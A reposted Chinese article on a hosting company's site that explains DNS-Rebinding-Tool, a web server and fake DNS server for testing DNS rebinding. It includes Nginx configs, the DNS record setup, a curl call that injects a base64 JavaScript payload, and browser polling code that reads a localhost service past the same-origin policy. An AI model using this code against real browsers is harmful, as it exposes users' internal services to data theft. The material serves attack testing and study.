平武建站

DNS-Rebinding-Tool是什么脚本

这篇文章将为大家详细讲解有关DNS-Rebinding-Tool是什么脚本，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

成都创新互联公司基于成都重庆香港及美国等地区分布式IDC机房数据中心构建的电信大带宽，联通大带宽，移动大带宽，多线BGP大带宽租用,是为众多客户提供专业服务器托管报价，主机托管价格性价比高，为金融证券行业双线服务器托管，ai人工智能服务器托管提供bgp线路100M独享，G口带宽及机柜租用的专业成都idc公司。

DNS-Rebinding-Tool

DNS-Rebinding-Tool是一款带有自定义脚本的DNS重绑定工具，该项目集成了多种功能，可以用来测试DNS重绑定攻击，并帮助我们更加深入地了解这种类型的网络攻击。该工具由一个Web服务器和一个伪DNS服务器组成，这个伪DNS服务器主要功能就是用来响应用户请求的。

Web服务器的根索引允许用户自定义配置，并且可以使用基础的Web图形界面执行攻击测试。

Web服务器主机的基础Nginx配置如下：

server {  listen 80;  server_name dnsrebindtool.43z.one;  location / {    proxy_pass http://localhost:5000;  }}

Web服务器的/attack路径可以读取GET参数“script”，该参数可以提供一个Basic64编码的JavaScript脚本，并以嵌入在常规HTML页面中的解码代码来响应请求：

% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="     

在我注册的域名43z.one中，我针对子域名rebind配置了一条NS记录，并指向了该工具托管的IP地址：

ns       A   81.4.124.10rebind   NS  ns.43z.one

DNS服务器只会响应下列各式的查询请求：

evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one

第一个部分（子域名）是一个随机ID，每次攻击会话会生成一个这样的随机ID，第二个部分是DNS服务器在两秒后需要响应的IP地址，第三部分是时间间隔过后DNS服务器需要响应的IP地址：

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one Fri Feb  2 21:18:20 CET 2018Server:   8.8.8.8Address:  8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 81.4.124.10$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneFri Feb  2 21:18:23 CET 2018Server:   8.8.8.8Address:  8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 127.0.0.1

最后就是针对重绑定域名的Nginx配置项了，工具只接受/attack路径，其他传递过来的参数都会以错误信息予以响应，这种机制允许攻击者攻击端口80上的其他服务，例如/api/monitoring/stats：

server {  listen 80;  server_name *.rebind.43z.one;  location / {    return 404;  }  location /attack {    proxy_pass http://localhost:5000/attack;  }}

DNS缓存回收

var xhr = new XMLHttpRequest()xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// first time the browser sees this domain it queries the dns server// and gets 81.4.124.10// sleep for more than 2 secxhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// still uses 81.4.124.10 (AND NOT 127.0.0.1)// NO dns query happened browser used cached IP

这也是此类攻击存在的一个“通病”，为了实现攻击，浏览器需要重新发送一个新的DNS查询请求来获取第二个IP地址。我的测试结果表明，我们可以使用下列脚本来测量WAIT变量（查询请求的发送时间间隔）的最优值，我的测试平台为Debian buster/sid，浏览器版本为Chromium 62.0.3202.89：

var WAIT = 200var start = Date.now()var interval = setInterval(function(){  var xhr = new XMLHttpRequest()  xhr.open('GET', '//' + $REBIND_DOMAIN, false)  xhr.send()  if(xhr.status == 200){    document.body.innerHTML = (Date.now() - start)/1000    document.body.innerHTML += xhr.responseText    clearInterval(interval)    return  }}, WAIT)
WAIT值/毫秒Chrome发送的请求数查询DNS的间隔
070060
1070060
10060063
12050063
15040063
18040075
20030063
22030069
25030078
28030087
30020063
32020067
34020071
36020075
38020079
40020083
1000100103

完整测试：

echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

这个netcat实例可以提供一些我们所感兴趣的内容，这里我保留了默认的重绑定域名“$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one”以及默认脚本。

var start = Date.now()var interval = setInterval(function(){  var xhr = new XMLHttpRequest()  xhr.open('GET', '//' + $REBIND_DOMAIN, false)  xhr.send()  if(xhr.status == 200){    document.body.innerHTML = (Date.now() - start)/1000    document.body.innerHTML += xhr.responseText    clearInterval(interval)    return  }}, 200)

访问【dnsrebindtool.43z.one】，然后点击“Attack”按钮。打开开发工具的Network标签，我们可以直接看到后台所发生的的情况。我过滤掉了字符串“TOPSECRET”，我们的DNS重绑定攻击成功绕过了SOP，为了要从iframe中获取泄露的数据，我们还需要使用 Window.PostMessage()或将数据转发到攻击者的另一台服务器端。

关于“DNS-Rebinding-Tool是什么脚本”这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，使各位可以学到更多知识，如果觉得文章不错，请把它分享出去让更多的人看到。


网页标题：DNS-Rebinding-Tool是什么脚本
转载来于：http://pwwzsj.com/article/gjeehp.html

其他资讯